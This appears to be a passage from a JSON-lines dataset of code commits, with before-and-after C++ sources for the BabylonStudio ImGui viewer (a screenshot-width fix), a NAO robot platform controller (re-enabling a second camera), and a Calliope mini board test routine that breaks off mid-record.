[]() { BABYLON::BabylonLogsWindow::instance().render(); });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::Scene3d, \n [this]() { render3d(); });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::SamplesCodeViewer,\n [this]() { _samplesCodeEditor.render(); });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::SampleBrowser, \n [this]() { _appContext._sampleListComponent.render(); });\n \n#ifdef BABYLON_BUILD_PLAYGROUND\n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::PlaygroundEditor,\n [this]() { renderPlayground(); });\n#endif\n\n \/\/ clang-format on\n\n registered = true;\n }\n\n void initScene()\n {\n _appContext._sampleListComponent.OnNewRenderableScene\n = [&](std::shared_ptr scene) {\n this->setRenderableScene(scene);\n _studioLayout.FocusWindow(DockableWindowId::Scene3d);\n };\n\n _appContext._sampleListComponent.OnEditFiles = [&](const std::vector& files) {\n _samplesCodeEditor.setFiles(files);\n _studioLayout.setVisible(DockableWindowId::SamplesCodeViewer, true);\n _studioLayout.FocusWindow(DockableWindowId::SamplesCodeViewer);\n };\n\n _appContext._sampleListComponent.OnLoopSamples = [&](const std::vector& samples) {\n _appContext._loopSamples.flagLoop = true;\n _appContext._loopSamples.samplesToLoop = samples;\n _appContext._loopSamples.currentIdx = 0;\n };\n\n _appContext._sceneWidget = std::make_unique(ImVec2(640.f, 480.f));\n _appContext._sceneWidget->OnBeforeResize.push_back(\n [this]() { _appContext._inspector.release(); });\n }\n\n void prepareSceneInspector()\n {\n auto currentScene = _appContext._sceneWidget->getScene();\n if ((!_appContext._inspector) || (_appContext._inspector->scene() != currentScene)) {\n _appContext._inspector\n = std::make_unique(nullptr, _appContext._sceneWidget->getScene());\n _appContext._inspector->setScene(currentScene);\n }\n }\n\n \/\/ returns true if exit required\n bool renderMenu()\n {\n ImGui::GetCurrentWindow()->Flags = ImGui::GetCurrentWindow()->Flags | ImGuiWindowFlags_MenuBar;\n bool shallExit = false;\n if (ImGui::BeginMenuBar()) \n {\n if (ImGui::BeginMenu(\"File\")) \n {\n if (ImGui::MenuItem(\"Quit\"))\n shallExit = true;\n ImGui::EndMenu();\n }\n _studioLayout.renderMenu();\n\n renderStatus();\n ImGui::EndMenuBar();\n }\n\n return shallExit;\n }\n\n void renderStatus()\n {\n ImVec4 statusTextColor{ 0.8f, 0.8f, 0.3f, 1.f };\n if (_studioLayout.isVisible(DockableWindowId::Scene3d))\n {\n ImGui::SameLine(ImGui::GetIO().DisplaySize.x \/ 2.f);\n std::string sceneName = _appContext._sceneWidget->getRenderableScene()->getName();\n ImGui::TextColored(statusTextColor, \"%s\", sceneName.c_str());\n }\n\n ImGui::SameLine(ImGui::GetIO().DisplaySize.x - 70.f);\n ImGui::TextColored(statusTextColor, \"FPS: %.1f\", ImGui::GetIO().Framerate);\n }\n\n \/\/ renders the GUI. Returns true when exit required\n bool render()\n {\n static bool wasInitialLayoutApplied = false;\n if (!wasInitialLayoutApplied)\n {\n this->_studioLayout.ApplyLayoutMode(LayoutMode::SceneAndBrowser);\n wasInitialLayoutApplied = true;\n }\n\n prepareSceneInspector();\n registerRenderFunctions();\n\n bool shallExit = renderMenu();\n _studioLayout.renderGui();\n\n handleLoopSamples();\n\n if (_appContext._options._flagScreenshotOneSampleAndExit)\n return saveScreenshot();\n else\n return shallExit;\n }\n\n\n\n void setRenderableScene(std::shared_ptr scene)\n {\n if (_appContext._inspector)\n _appContext._inspector->setScene(nullptr);\n _appContext._sceneWidget->setRenderableScene(scene);\n if (_appContext._inspector)\n _appContext._inspector->setScene(_appContext._sceneWidget->getScene());\n }\n\n \/\/ Saves a screenshot after few frames (eeturns true when done)\n bool saveScreenshot()\n {\n _appContext._frameCounter++;\n if (_appContext._frameCounter < 30)\n return false;\n int imageWidth = 200;\n int jpgQuality = 75;\n this->_appContext._sceneWidget->getCanvas()->saveScreenshotJpg(\n (_appContext._options._sceneName + \".jpg\").c_str(), jpgQuality, imageWidth);\n return true;\n }\n\n bool ButtonInOverlayWindow(const std::string& label, ImVec2 position, ImVec2 size)\n {\n ImGui::SetNextWindowPos(position);\n ImGui::SetNextWindowSize(size);\n ImGuiWindowFlags flags = ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_NoBackground;\n std::string id = label + \"##ButtonInOverlayWindow\";\n ImGui::Begin(label.c_str(), nullptr, flags);\n bool clicked = ImGui::Button(label.c_str());\n ImGui::End();\n return clicked;\n }\n\n void renderHud(ImVec2 cursorScene3dTopLeft)\n {\n auto asSceneWithHud\n = dynamic_cast(_appContext._sceneWidget->getRenderableScene());\n if (!asSceneWithHud)\n return;\n if (!asSceneWithHud->hudGui)\n return;\n\n static bool showHud = false;\n\n ImVec2 hudButtonPosition(cursorScene3dTopLeft.x + 2.f, cursorScene3dTopLeft.y + 2.f);\n ImVec2 hudWindowPosition(cursorScene3dTopLeft.x + 2.f, cursorScene3dTopLeft.y + 30.f);\n if (ButtonInOverlayWindow(ICON_FA_COG, hudButtonPosition, ImVec2(30.f, 30.f)))\n showHud = !showHud;\n\n if (showHud) {\n ImGui::SetNextWindowPos(hudWindowPosition, ImGuiCond_Once);\n ImGui::SetNextWindowBgAlpha(0.5f);\n ImGuiWindowFlags flags = ImGuiWindowFlags_AlwaysAutoResize;\n ImGui::Begin(\"HUD\", &showHud, flags);\n asSceneWithHud->hudGui();\n ImGui::End();\n }\n }\n\n void render3d()\n {\n ImVec2 sceneSize = ImGui::GetCurrentWindow()->Size;\n sceneSize.y -= 35.f;\n ImVec2 cursorPosBeforeScene3d = ImGui::GetCursorScreenPos();\n _appContext._sceneWidget->render(sceneSize);\n renderHud(cursorPosBeforeScene3d);\n }\n\n void renderPlayground()\n {\n ImGui::Button(ICON_FA_QUESTION_CIRCLE);\n if (ImGui::IsItemHovered())\n ImGui::SetTooltip(\n \"Playground : you can edit the code below! As soon as you save it, the code will be \"\n \"compiled and the 3D scene \"\n \"will be updated\");\n ImGui::SameLine();\n\n if (_appContext._isCompiling) {\n ImGui::TextColored(ImVec4(1., 0., 0., 1.), \"Compiling\");\n _studioLayout.setVisible(DockableWindowId::Logs, true);\n }\n if (ImGui::Button(ICON_FA_PLAY \" Run\"))\n _playgroundCodeEditor.saveAll();\n ImGui::SameLine();\n _playgroundCodeEditor.render();\n }\n\nprivate:\n void handleLoopSamples()\n {\n if (!_appContext._loopSamples.flagLoop)\n return;\n\n static int frame_counter = 0;\n const int max_frames = 60;\n\n if (frame_counter > max_frames) {\n std::string sampleName\n = _appContext._loopSamples.samplesToLoop[_appContext._loopSamples.currentIdx];\n BABYLON_LOG_ERROR(\"LoopSample\", sampleName)\n auto scene = Samples::SamplesIndex::Instance().createRenderableScene(sampleName, nullptr);\n this->setRenderableScene(scene);\n\n if (_appContext._loopSamples.currentIdx < _appContext._loopSamples.samplesToLoop.size() - 2)\n _appContext._loopSamples.currentIdx++;\n else\n _appContext._loopSamples.flagLoop = false;\n\n frame_counter = 0;\n }\n else\n frame_counter++;\n }\n\n \/\/\n \/\/ BabylonStudioContext\n \/\/\n struct AppContext {\n std::unique_ptr _sceneWidget;\n std::unique_ptr _inspector;\n BABYLON::SamplesBrowser _sampleListComponent;\n int _frameCounter = 0;\n BabylonStudioOptions _options;\n bool _isCompiling = false;\n\n struct {\n bool flagLoop = false;\n size_t currentIdx = 0;\n std::vector samplesToLoop;\n } _loopSamples;\n };\n\n AppContext _appContext;\n BabylonStudioLayout _studioLayout;\n ImGuiUtils::CodeEditor _samplesCodeEditor\n = ImGuiUtils::CodeEditor(true); \/\/ true <-> showCheckboxReadOnly\n ImGuiUtils::CodeEditor _playgroundCodeEditor;\n}; \/\/ end of class BabylonInspectorApp\n\n\/\/ public API\nvoid runBabylonStudio(std::shared_ptr scene,\n BabylonStudioOptions options \/* = SceneWithInspectorOptions() *\/\n)\n{\n BABYLON::BabylonStudioApp app;\n app.RunApp(scene, options);\n}\n\n} \/\/ namespace BABYLON\nRepair screenshot feature; readPixel works best with images width divisble by 4#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#ifdef _WIN32\n#include \n#endif\n\n#include \n\nnamespace BABYLON {\n\nclass BabylonStudioApp {\npublic:\n BabylonStudioApp()\n {\n std::string exePath = BABYLON::System::getExecutablePath();\n std::string exeFolder = BABYLON::Filesystem::baseDir(exePath);\n std::string playgroundPath = exeFolder + \"\/..\/..\/..\/src\/BabylonStudio\/playground.cpp\";\n playgroundPath = BABYLON::Filesystem::absolutePath(playgroundPath);\n _playgroundCodeEditor.setFiles({playgroundPath});\n _playgroundCodeEditor.setLightPalette();\n }\n\n void RunApp(std::shared_ptr initialScene,\n const BabylonStudioOptions& options)\n {\n _appContext._options = options;\n _appContext._options._appWindowParams.ShowMenuBar = true;\n\n std::function showGuiLambda = [this]() -> bool {\n bool r = this->render();\n for (auto f : _appContext._options._heartbeatCallbacks)\n f();\n if (_appContext._options._playgroundCompilerCallback) {\n PlaygroundCompilerStatus playgroundCompilerStatus\n = _appContext._options._playgroundCompilerCallback();\n if (playgroundCompilerStatus._renderableScene)\n setRenderableScene(playgroundCompilerStatus._renderableScene);\n _appContext._isCompiling = playgroundCompilerStatus._isCompiling;\n }\n return r;\n };\n\n auto initSceneLambda = [&]() {\n this->initScene();\n this->setRenderableScene(initialScene);\n };\n\n _appContext._options._appWindowParams.InitialDockLayoutFunction = [this](ImGuiID mainDockId) {\n _studioLayout.PrepareLayout(mainDockId);\n };\n ImGuiUtils::ImGuiRunner::RunGui(showGuiLambda, _appContext._options._appWindowParams,\n initSceneLambda);\n }\n\nprivate:\n void registerRenderFunctions()\n {\n static bool registered = false;\n if (registered)\n return;\n\n \/\/ clang-format off\n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::Inspector,\n [this]() { \n if (_appContext._inspector) \n _appContext._inspector->render(); \n });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::Logs, \n []() { BABYLON::BabylonLogsWindow::instance().render(); });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::Scene3d, \n [this]() { render3d(); });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::SamplesCodeViewer,\n [this]() { _samplesCodeEditor.render(); });\n \n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::SampleBrowser, \n [this]() { _appContext._sampleListComponent.render(); });\n \n#ifdef BABYLON_BUILD_PLAYGROUND\n _studioLayout.registerGuiRenderFunction(\n DockableWindowId::PlaygroundEditor,\n [this]() { renderPlayground(); });\n#endif\n\n \/\/ clang-format on\n\n registered = true;\n }\n\n void initScene()\n {\n _appContext._sampleListComponent.OnNewRenderableScene\n = [&](std::shared_ptr scene) {\n this->setRenderableScene(scene);\n _studioLayout.FocusWindow(DockableWindowId::Scene3d);\n };\n\n _appContext._sampleListComponent.OnEditFiles = [&](const std::vector& files) {\n _samplesCodeEditor.setFiles(files);\n _studioLayout.setVisible(DockableWindowId::SamplesCodeViewer, true);\n _studioLayout.FocusWindow(DockableWindowId::SamplesCodeViewer);\n };\n\n _appContext._sampleListComponent.OnLoopSamples = [&](const std::vector& samples) {\n _appContext._loopSamples.flagLoop = true;\n _appContext._loopSamples.samplesToLoop = samples;\n _appContext._loopSamples.currentIdx = 0;\n };\n\n _appContext._sceneWidget = std::make_unique(ImVec2(640.f, 480.f));\n _appContext._sceneWidget->OnBeforeResize.push_back(\n [this]() { _appContext._inspector.release(); });\n }\n\n void prepareSceneInspector()\n {\n auto currentScene = _appContext._sceneWidget->getScene();\n if ((!_appContext._inspector) || (_appContext._inspector->scene() != currentScene)) {\n _appContext._inspector\n = std::make_unique(nullptr, _appContext._sceneWidget->getScene());\n _appContext._inspector->setScene(currentScene);\n }\n }\n\n \/\/ returns true if exit required\n bool renderMenu()\n {\n ImGui::GetCurrentWindow()->Flags = ImGui::GetCurrentWindow()->Flags | ImGuiWindowFlags_MenuBar;\n bool shallExit = false;\n if (ImGui::BeginMenuBar()) \n {\n if (ImGui::BeginMenu(\"File\")) \n {\n if (ImGui::MenuItem(\"Quit\"))\n shallExit = true;\n ImGui::EndMenu();\n }\n _studioLayout.renderMenu();\n\n renderStatus();\n ImGui::EndMenuBar();\n }\n\n return shallExit;\n }\n\n void renderStatus()\n {\n ImVec4 statusTextColor{ 0.8f, 0.8f, 0.3f, 1.f };\n if (_studioLayout.isVisible(DockableWindowId::Scene3d))\n {\n ImGui::SameLine(ImGui::GetIO().DisplaySize.x \/ 2.f);\n std::string sceneName = _appContext._sceneWidget->getRenderableScene()->getName();\n ImGui::TextColored(statusTextColor, \"%s\", sceneName.c_str());\n }\n\n ImGui::SameLine(ImGui::GetIO().DisplaySize.x - 70.f);\n ImGui::TextColored(statusTextColor, \"FPS: %.1f\", ImGui::GetIO().Framerate);\n }\n\n \/\/ renders the GUI. Returns true when exit required\n bool render()\n {\n static bool wasInitialLayoutApplied = false;\n if (!wasInitialLayoutApplied)\n {\n this->_studioLayout.ApplyLayoutMode(LayoutMode::SceneAndBrowser);\n wasInitialLayoutApplied = true;\n }\n\n prepareSceneInspector();\n registerRenderFunctions();\n\n bool shallExit = renderMenu();\n _studioLayout.renderGui();\n\n handleLoopSamples();\n\n if (_appContext._options._flagScreenshotOneSampleAndExit)\n return saveScreenshot();\n else\n return shallExit;\n }\n\n\n\n void setRenderableScene(std::shared_ptr scene)\n {\n if (_appContext._inspector)\n _appContext._inspector->setScene(nullptr);\n _appContext._sceneWidget->setRenderableScene(scene);\n if (_appContext._inspector)\n _appContext._inspector->setScene(_appContext._sceneWidget->getScene());\n }\n\n \/\/ Saves a screenshot after few frames (returns true when done)\n bool saveScreenshot()\n {\n _appContext._frameCounter++;\n if (_appContext._frameCounter < 30)\n return false;\n int imageWidth = 200;\n int jpgQuality = 75;\n this->_appContext._sceneWidget->getCanvas()->saveScreenshotJpg(\n (_appContext._options._sceneName + \".jpg\").c_str(), jpgQuality, imageWidth);\n return true;\n }\n\n bool ButtonInOverlayWindow(const std::string& label, ImVec2 position, ImVec2 size)\n {\n ImGui::SetNextWindowPos(position);\n ImGui::SetNextWindowSize(size);\n ImGuiWindowFlags flags = ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_NoBackground;\n std::string id = label + \"##ButtonInOverlayWindow\";\n ImGui::Begin(label.c_str(), nullptr, flags);\n bool clicked = ImGui::Button(label.c_str());\n ImGui::End();\n return clicked;\n }\n\n void renderHud(ImVec2 cursorScene3dTopLeft)\n {\n auto asSceneWithHud\n = dynamic_cast(_appContext._sceneWidget->getRenderableScene());\n if (!asSceneWithHud)\n return;\n if (!asSceneWithHud->hudGui)\n return;\n\n static bool showHud = false;\n\n ImVec2 hudButtonPosition(cursorScene3dTopLeft.x + 2.f, cursorScene3dTopLeft.y + 2.f);\n ImVec2 hudWindowPosition(cursorScene3dTopLeft.x + 2.f, cursorScene3dTopLeft.y + 30.f);\n if (ButtonInOverlayWindow(ICON_FA_COG, hudButtonPosition, ImVec2(30.f, 30.f)))\n showHud = !showHud;\n\n if (showHud) {\n ImGui::SetNextWindowPos(hudWindowPosition, ImGuiCond_Once);\n ImGui::SetNextWindowBgAlpha(0.5f);\n ImGuiWindowFlags flags = ImGuiWindowFlags_AlwaysAutoResize;\n ImGui::Begin(\"HUD\", &showHud, flags);\n asSceneWithHud->hudGui();\n ImGui::End();\n }\n }\n\n void render3d()\n {\n ImVec2 sceneSize = ImGui::GetCurrentWindow()->Size;\n sceneSize.y -= 35.f;\n sceneSize.x = (float)((int)((sceneSize.x) \/ 4) * 4);\n ImVec2 cursorPosBeforeScene3d = ImGui::GetCursorScreenPos();\n _appContext._sceneWidget->render(sceneSize);\n renderHud(cursorPosBeforeScene3d);\n }\n\n void renderPlayground()\n {\n ImGui::Button(ICON_FA_QUESTION_CIRCLE);\n if (ImGui::IsItemHovered())\n ImGui::SetTooltip(\n \"Playground : you can edit the code below! As soon as you save it, the code will be \"\n \"compiled and the 3D scene \"\n \"will be updated\");\n ImGui::SameLine();\n\n if (_appContext._isCompiling) {\n ImGui::TextColored(ImVec4(1., 0., 0., 1.), \"Compiling\");\n _studioLayout.setVisible(DockableWindowId::Logs, true);\n }\n if (ImGui::Button(ICON_FA_PLAY \" Run\"))\n _playgroundCodeEditor.saveAll();\n ImGui::SameLine();\n _playgroundCodeEditor.render();\n }\n\nprivate:\n void handleLoopSamples()\n {\n if (!_appContext._loopSamples.flagLoop)\n return;\n\n static int frame_counter = 0;\n const int max_frames = 60;\n\n if (frame_counter > max_frames) {\n std::string sampleName\n = _appContext._loopSamples.samplesToLoop[_appContext._loopSamples.currentIdx];\n BABYLON_LOG_ERROR(\"LoopSample\", sampleName)\n auto scene = Samples::SamplesIndex::Instance().createRenderableScene(sampleName, nullptr);\n this->setRenderableScene(scene);\n\n if (_appContext._loopSamples.currentIdx < _appContext._loopSamples.samplesToLoop.size() - 2)\n _appContext._loopSamples.currentIdx++;\n else\n _appContext._loopSamples.flagLoop = false;\n\n frame_counter = 0;\n }\n else\n frame_counter++;\n }\n\n \/\/\n \/\/ BabylonStudioContext\n \/\/\n struct AppContext {\n std::unique_ptr _sceneWidget;\n std::unique_ptr _inspector;\n BABYLON::SamplesBrowser _sampleListComponent;\n int _frameCounter = 0;\n BabylonStudioOptions _options;\n bool _isCompiling = false;\n\n struct {\n bool flagLoop = false;\n size_t currentIdx = 0;\n std::vector samplesToLoop;\n } _loopSamples;\n };\n\n AppContext _appContext;\n BabylonStudioLayout _studioLayout;\n ImGuiUtils::CodeEditor _samplesCodeEditor\n = ImGuiUtils::CodeEditor(true); \/\/ true <-> showCheckboxReadOnly\n ImGuiUtils::CodeEditor _playgroundCodeEditor;\n}; \/\/ end of class BabylonInspectorApp\n\n\/\/ public API\nvoid runBabylonStudio(std::shared_ptr scene,\n BabylonStudioOptions options \/* = SceneWithInspectorOptions() *\/\n)\n{\n BABYLON::BabylonStudioApp app;\n app.RunApp(scene, options);\n}\n\n} \/\/ namespace BABYLON\n<|endoftext|>"} {"text":"\/**\n * @file NaoController.cpp\n *\n * @author Xu, Yuan<\/a>\n * @author Mellmann, Heinrich<\/a>\n * @breief Interface for the real robot for both cognition and motion\n *\n *\/\n\n#include \"NaoController.h\"\n\n#include \n\nusing namespace std;\nusing namespace naoth;\n\nNaoController::NaoController()\n :\n PlatformInterface(\"Nao\", 10),\n theSoundHandler(NULL),\n theBroadCaster(NULL),\n theBroadCastListener(NULL),\n theDebugServer(NULL),\n theRCTCBroadCaster(NULL),\n theRCTCBroadCastListener(NULL)\n{\n \/\/ init shared memory\n \/\/ sensor data\n const std::string naoSensorDataPath = \"\/nao_sensor_data\";\n \/\/ command data\n const std::string naoCommandMotorJointDataPath = \"\/nao_command.MotorJointData\";\n const std::string naoCommandUltraSoundSendDataPath = \"\/nao_command.UltraSoundSendData\";\n const std::string naoCommandIRSendDataPath = \"\/nao_command.IRSendData\";\n const std::string naoCommandLEDDataPath = \"\/nao_command.LEDData\";\n\n naoSensorData.open(naoSensorDataPath);\n\n naoCommandMotorJointData.open(naoCommandMotorJointDataPath);\n naoCommandUltraSoundSendData.open(naoCommandUltraSoundSendDataPath);\n naoCommandIRSendData.open(naoCommandIRSendDataPath);\n naoCommandLEDData.open(naoCommandLEDDataPath);\n \/\/ end init shared memory\n \n\n\n \/\/ read the theBodyID and the theBodyNickName from file \"nao.info\"\n const std::string naoInfoPath = Platform::getInstance().theConfigDirectory + \"nao.info\";\n ifstream is(naoInfoPath.c_str());\n if(!is.good())\n {\n \/\/ exit the program\n THROW(\"is.good() failed. No Configs found. Do you call ..\/bin\/naoth from ~\/naoqi?\");\n }\n else\n {\n is >> theBodyID >> theBodyNickName;\n cout << \"bodyID: \" << theBodyID << endl;\n cout << \"bodyNickName: \" << theBodyNickName << endl;\n }\n\n \/\/ read the mac address of the LAN adaptor\n ifstream isEthMac(\"\/sys\/class\/net\/eth0\/address\"); \n isEthMac >> theHeadNickName;\n std::replace(theHeadNickName.begin(), theHeadNickName.end(), ':', '_'); \n cout << \"headNickName: \" << theHeadNickName << endl;\n\n\n\n \/* REGISTER IO *\/\n \/\/ camera\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerOutput(*this);\n registerOutput(*this);\n \n \/\/ sound\n registerOutput(*this);\n\n \/\/ gamecontroller\n registerInput(*this);\n registerOutput(*this);\n \n \/\/ teamcomm\n registerInput(*this);\n registerOutput(*this);\n\n \/\/ rctc teamcomm\n registerInput(*this);\n registerOutput(*this);\n\n \/\/ debug comm\n registerInput(*this);\n registerOutput(*this);\n\n \/\/ time\n registerInput(*this);\n\n \/\/ register sensor input\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n\n \/\/ register command output\n registerOutput(*this);\n registerOutput(*this);\n registerOutput(*this);\n registerOutput(*this);\n\n\n \/* INIT DEVICES *\/\n std::cout << \"Init Platform\" << endl;\n Platform::getInstance().init(this);\n\n std::cout << \"Init SoundHandler\" <start(debug_port, true);\n\n\n std::cout<< \"Init SPLGameController\"< msg_vector;\n theRCTCBroadCastListener->receive(msg_vector);\n for(unsigned int i = 0; i < msg_vector.size(); i++)\n {\n const char* bin_msg = msg_vector[i].c_str();\n rctc::Message msg;\n if(rctc::binaryToMessage((const uint8_t*)bin_msg, msg))\n {\n data.data.push_back(msg);\n }\n }\n}\/\/end get RCTCTeamMessageDataIn\n\n\nvoid NaoController::set(const RCTCTeamMessageDataOut& data)\n{\n if(data.valid)\n {\n uint8_t bin_msg[rctc::PACKET_SIZE];\n rctc::messageToBinary(data.data, bin_msg);\n std::string msg((char*)bin_msg, rctc::PACKET_SIZE);\n\/\/ std::cout << \"sending RCTC \" <broadcastAddress << \" (bcast adress) \" << std::endl;\n theRCTCBroadCaster->send(msg);\n }\n}\/\/end set RCTCTeamMessageDataOut\nre-activating the second camera\/**\n * @file NaoController.cpp\n *\n * @author Xu, Yuan<\/a>\n * @author Mellmann, Heinrich<\/a>\n * @breief Interface for the real robot for both cognition and motion\n *\n *\/\n\n#include \"NaoController.h\"\n\n#include \n\nusing namespace std;\nusing namespace naoth;\n\nNaoController::NaoController()\n :\n PlatformInterface(\"Nao\", 10),\n theSoundHandler(NULL),\n theBroadCaster(NULL),\n theBroadCastListener(NULL),\n theDebugServer(NULL),\n theRCTCBroadCaster(NULL),\n theRCTCBroadCastListener(NULL)\n{\n \/\/ init shared memory\n \/\/ sensor data\n const std::string naoSensorDataPath = \"\/nao_sensor_data\";\n \/\/ command data\n const std::string naoCommandMotorJointDataPath = \"\/nao_command.MotorJointData\";\n const std::string naoCommandUltraSoundSendDataPath = \"\/nao_command.UltraSoundSendData\";\n const std::string naoCommandIRSendDataPath = \"\/nao_command.IRSendData\";\n const std::string naoCommandLEDDataPath = \"\/nao_command.LEDData\";\n\n naoSensorData.open(naoSensorDataPath);\n\n naoCommandMotorJointData.open(naoCommandMotorJointDataPath);\n naoCommandUltraSoundSendData.open(naoCommandUltraSoundSendDataPath);\n naoCommandIRSendData.open(naoCommandIRSendDataPath);\n naoCommandLEDData.open(naoCommandLEDDataPath);\n \/\/ end init shared memory\n \n\n\n \/\/ read the theBodyID and the theBodyNickName from file \"nao.info\"\n const std::string naoInfoPath = Platform::getInstance().theConfigDirectory + \"nao.info\";\n ifstream is(naoInfoPath.c_str());\n if(!is.good())\n {\n \/\/ exit the program\n THROW(\"is.good() failed. No Configs found. Do you call ..\/bin\/naoth from ~\/naoqi?\");\n }\n else\n {\n is >> theBodyID >> theBodyNickName;\n cout << \"bodyID: \" << theBodyID << endl;\n cout << \"bodyNickName: \" << theBodyNickName << endl;\n }\n\n \/\/ read the mac address of the LAN adaptor\n ifstream isEthMac(\"\/sys\/class\/net\/eth0\/address\"); \n isEthMac >> theHeadNickName;\n std::replace(theHeadNickName.begin(), theHeadNickName.end(), ':', '_'); \n cout << \"headNickName: \" << theHeadNickName << endl;\n\n\n\n \/* REGISTER IO *\/\n \/\/ camera\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerOutput(*this);\n registerOutput(*this);\n \n \/\/ sound\n registerOutput(*this);\n\n \/\/ gamecontroller\n registerInput(*this);\n registerOutput(*this);\n \n \/\/ teamcomm\n registerInput(*this);\n registerOutput(*this);\n\n \/\/ rctc teamcomm\n registerInput(*this);\n registerOutput(*this);\n\n \/\/ debug comm\n registerInput(*this);\n registerOutput(*this);\n\n \/\/ time\n registerInput(*this);\n\n \/\/ register sensor input\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n registerInput(*this);\n\n \/\/ register command output\n registerOutput(*this);\n registerOutput(*this);\n registerOutput(*this);\n registerOutput(*this);\n\n\n \/* INIT DEVICES *\/\n std::cout << \"Init Platform\" << endl;\n Platform::getInstance().init(this);\n\n std::cout << \"Init SoundHandler\" <start(debug_port, true);\n\n\n std::cout<< \"Init SPLGameController\"< msg_vector;\n theRCTCBroadCastListener->receive(msg_vector);\n for(unsigned int i = 0; i < msg_vector.size(); i++)\n {\n const char* bin_msg = msg_vector[i].c_str();\n rctc::Message msg;\n if(rctc::binaryToMessage((const uint8_t*)bin_msg, msg))\n {\n data.data.push_back(msg);\n }\n }\n}\/\/end get RCTCTeamMessageDataIn\n\n\nvoid NaoController::set(const RCTCTeamMessageDataOut& data)\n{\n if(data.valid)\n {\n uint8_t bin_msg[rctc::PACKET_SIZE];\n rctc::messageToBinary(data.data, bin_msg);\n std::string msg((char*)bin_msg, rctc::PACKET_SIZE);\n\/\/ std::cout << \"sending RCTC \" <broadcastAddress << \" (bcast adress) \" << std::endl;\n theRCTCBroadCaster->send(msg);\n }\n}\/\/end set RCTCTeamMessageDataOut\n<|endoftext|>"} {"text":"#include \n#include \"CalliopeDemo.h\"\n\nextern MicroBit uBit;\n\nvoid onButtonA(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"A\");\n}\n\nvoid onButtonB(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"B\");\n}\n\nvoid onButtonAB(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"A+B\");\n}\n\nvoid onButton0(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"0\");\n}\n\nvoid onButton1(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"1\");\n}\n\nvoid onButton2(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"2\");\n}\n\nvoid onButton3(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"3\");\n}\n\nvoid onShake(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"S\");\n}\n\nvoid onFaceUp(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"+\");\n}\n\nvoid onFaceDown(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"-\");\n}\n\nvoid onTiltUp(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"U\");\n}\n\nvoid onTiltDown(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"D\");\n}\n\nvoid onTiltLeft(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"L\");\n}\n\nvoid onTiltRight(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"R\");\n}\n\nvoid testBoard() {\n KeyValuePair *firstTime = uBit.storage.get(\"initial\");\n\n if (firstTime != NULL) return;\n uint8_t done = 1;\n uBit.storage.put(\"initial\", &done, sizeof(int));\n\n uBit.serial.send(\"display\\r\\n\");\n uBit.display.clear();\n uBit.display.print(Full);\n for (int i = 255; i > 0; i -= 2) {\n uBit.display.setBrightness(i);\n uBit.sleep(3);\n }\n uBit.sleep(3);\n for (int i = 0; i < 255; i += 2) {\n uBit.display.setBrightness(i);\n uBit.sleep(3);\n }\n\n uBit.serial.send(\"accelerometer\\r\\n\");\n for (int i = 0; i < 10; i++) {\n uBit.accelerometer.getX();\n uBit.accelerometer.getY();\n uBit.accelerometer.getZ();\n }\n uBit.display.print(Tick);\n uBit.sleep(80);\n\n uBit.serial.send(\"RGB led\\r\\n\");\n uBit.rgb.off();\n uBit.rgb.setColour(255, 0, 0, 0);\n uBit.sleep(200);\n uBit.rgb.off();\n uBit.rgb.setColour(0, 255, 0, 0);\n uBit.sleep(200);\n uBit.rgb.off();\n uBit.rgb.setColour(0, 0, 255, 0);\n uBit.sleep(200);\n uBit.rgb.off();\n\n\n uBit.serial.send(\"sound\\r\\n\");\n uBit.soundmotor.setSoundSilentMode(true);\n uBit.soundmotor.soundOn(500);\n uBit.sleep(100);\n uBit.soundmotor.soundOn(2000);\n uBit.sleep(100);\n uBit.soundmotor.soundOn(3000);\n uBit.sleep(100);\n uBit.soundmotor.soundOff();\n\n uBit.display.clear();\n\n \/\/ we need to trigger touch sensing\n uBit.io.P12.isTouched();\n uBit.io.P0.isTouched();\n uBit.io.P1.isTouched();\n uBit.io.P16.isTouched();\n\n uBit.messageBus.listen(MICROBIT_ID_BUTTON_A, MICROBIT_BUTTON_EVT_CLICK, onButtonA);\n uBit.messageBus.listen(MICROBIT_ID_BUTTON_B, MICROBIT_BUTTON_EVT_CLICK, onButtonB);\n uBit.messageBus.listen(MICROBIT_ID_BUTTON_AB, MICROBIT_BUTTON_EVT_CLICK, onButtonAB);\n uBit.messageBus.listen(MICROBIT_ID_IO_P12, MICROBIT_EVT_ANY, onButton0);\n uBit.messageBus.listen(MICROBIT_ID_IO_P0, MICROBIT_EVT_ANY, onButton1);\n uBit.messageBus.listen(MICROBIT_ID_IO_P1, MICROBIT_EVT_ANY, onButton2);\n uBit.messageBus.listen(MICROBIT_ID_IO_P16, 